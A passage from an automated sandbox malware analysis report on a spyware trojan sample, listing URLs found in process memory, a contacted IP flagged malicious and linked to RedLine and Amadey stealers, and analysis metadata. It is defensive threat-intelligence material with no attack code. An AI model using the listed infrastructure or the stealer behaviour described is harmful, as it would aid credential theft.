http://schemas.xmlsoap.org/ws/2005/02/sc/sct	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultP	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	kxL91dA.exe, 00000005.00000002.332458474.00000000037E4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.000000000290D000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A6E000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003ACE000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003898000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.00000000039F4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.000000000299A000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003916000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003993000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002A27000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.00000000038F9000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003976000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A11000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.000000000387B000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	kxL91dA.exe, 00000005.00000002.332458474.0000000003A11000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.000000000387B000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12Response	kxL91dA.exe, 00000005.00000002.328881291.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	kxL91dA.exe, 00000005.00000002.328881291.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id9	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id7	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id6	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id19Response	kxL91dA.exe, 00000005.00000002.328881291.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id22Response0	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15Response	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id6Response	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	sMt14vz.exe, 00000002.00000003.242565782.00000000049F8000.00000004.00000020.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000000.267575199.00000000004E2000.00000002.00000001.01000000.00000009.sdmp, kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe.2.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/sc	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id9Response	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	kxL91dA.exe, 00000005.00000002.332458474.0000000003A11000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.000000000387B000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id20	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id21	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id22	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id1Response	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	kxL91dA.exe, 00000005.00000002.332458474.00000000037E4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.000000000290D000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A6E000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003ACE000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003898000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.00000000039F4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.000000000299A000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003916000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003993000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002A27000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.00000000038F9000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003976000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A11000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.000000000387B000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://tempuri.org/Entity/Id11	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://tempuri.org/Entity/Id12	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16Response	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id14	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id15	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id17	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id18	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5Response	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id19	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10Response	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8Response	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id4(	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://search.yahoo.com?fr=crmas_sfpf	kxL91dA.exe, 00000005.00000002.332458474.00000000037E4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.000000000290D000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A6E000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003ACE000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003898000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.00000000039F4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.000000000299A000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003916000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003993000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002A27000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.00000000038F9000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003976000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A11000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.000000000387B000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew	kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.233.20.17	unknown	Russian Federation		8749	REDCOM-ASRedcomKhabarovskRussiaRU	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	811560
Start date and time:	2023-02-19 02:31:04 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	21fvBVFMsn.exe
Original Sample Name:	478e1c903cfcda85acdb9759ae80e155.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@12/8@0/1
EGA Information:	Successful, ratio: 80%
HDC Information:	Successful, ratio: 100% (good quality ratio 95.8%) Quality average: 85.2% Quality standard deviation: 22.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 191 Number of non-executed functions: 96
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 8.238.88.254, 8.248.133.254, 67.26.139.254, 8.248.149.254, 8.250.153.254, 209.197.3.8
Excluded domains from analysis (whitelisted): fg.download.windowsupdate.com.c.footprint.net, fs.microsoft.com, ctldl.windowsupdate.com, cds.d2s7q6s2.hwcdn.net, wu-bg-shim.trafficmanager.net
Execution Graph export aborted for target kxL91dA.exe, PID 3228 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:32:34	API Interceptor	15x Sleep call for process: kxL91dA.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
193.233.20.17	LwExBhgzp5.exe	Get hash	malicious	Amadey, RedLine	Browse
	w1HEWorb6R.exe	Get hash	malicious	Amadey, RedLine	Browse
	sYIDRk0xB6.exe	Get hash	malicious	Amadey, RedLine	Browse
	V34prXiUKp.exe	Get hash	malicious	Amadey, RedLine	Browse
	j28TljQdlz.exe	Get hash	malicious	Amadey, RedLine	Browse
	7epTSsuohp.exe	Get hash	malicious	Amadey, RedLine	Browse
	QhT58d7Wa8.exe	Get hash	malicious	Amadey, RedLine	Browse
	001b09ececb8774d65d01bc2d0e8361072bae77ccaa7f.exe	Get hash	malicious	Amadey, RedLine	Browse
	R25yrPZVWB.exe	Get hash	malicious	Amadey, RedLine	Browse
	jb52PkNUda.exe	Get hash	malicious	Amadey, RedLine	Browse
	O3HGpnzpVR.exe	Get hash	malicious	Amadey, RedLine	Browse
	73IPnhSw0f.exe	Get hash	malicious	Amadey, RedLine	Browse
	pjJw2RuL8g.exe	Get hash	malicious	Amadey, RedLine	Browse
	Gs3364OsSz.exe	Get hash	malicious	Amadey, RedLine	Browse
	kXCd4W2VY6.exe	Get hash	malicious	RedLine	Browse
	d6wHjfEmem.exe	Get hash	malicious	Amadey, RedLine	Browse
	lMBbFLk6Up.exe	Get hash	malicious	RedLine	Browse
	X2dIcltgDn.exe	Get hash	malicious	RedLine	Browse
	8lP87m2wD6.exe	Get hash	malicious	RedLine	Browse
	p3xSYI3ht2.exe	Get hash	malicious	RedLine	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
REDCOM-ASRedcomKhabarovskRussiaRU	LwExBhgzp5.exe	Get hash	malicious	Amadey, RedLine	Browse	193.233.20.17
	w1HEWorb6R.exe	Get hash	malicious	Amadey, RedLine	Browse	193.233.20.17
	sYIDRk0xB6.exe	Get hash	malicious	Amadey, RedLine	Browse	193.233.20.17
	V34prXiUKp.exe	Get hash	malicious	Amadey, RedLine	Browse	193.233.20.17
	j28TljQdlz.exe	Get hash	malicious	Amadey, RedLine	Browse	193.233.20.17
	7epTSsuohp.exe	Get hash	malicious	Amadey, RedLine	Browse	193.233.20.17
	QhT58d7Wa8.exe	Get hash	malicious	Amadey, RedLine	Browse	193.233.20.17
	001b09ececb8774d65d01bc2d0e8361072bae77ccaa7f.exe	Get hash	malicious	Amadey, RedLine	Browse	193.233.20.17
	guDO2HTB37.exe	Get hash	malicious	Amadey, Fabookie, Glupteba, Nymaim, RedLine, SmokeLoader, Vidar	Browse	193.233.20.16
	R25yrPZVWB.exe	Get hash	malicious	Amadey, RedLine	Browse	193.233.20.17
	Set-up.exe	Get hash	malicious	Raccoon Stealer v2	Browse	193.233.20.142
	jb52PkNUda.exe	Get hash	malicious	Amadey, RedLine	Browse	193.233.20.17
	O3HGpnzpVR.exe	Get hash	malicious	Amadey, RedLine	Browse	193.233.20.17
	73IPnhSw0f.exe	Get hash	malicious	Amadey, RedLine	Browse	193.233.20.17
	pjJw2RuL8g.exe	Get hash	malicious	Amadey, RedLine	Browse	193.233.20.17
	Gs3364OsSz.exe	Get hash	malicious	Amadey, RedLine	Browse	193.233.20.17
	kXCd4W2VY6.exe	Get hash	malicious	RedLine	Browse	193.233.20.17
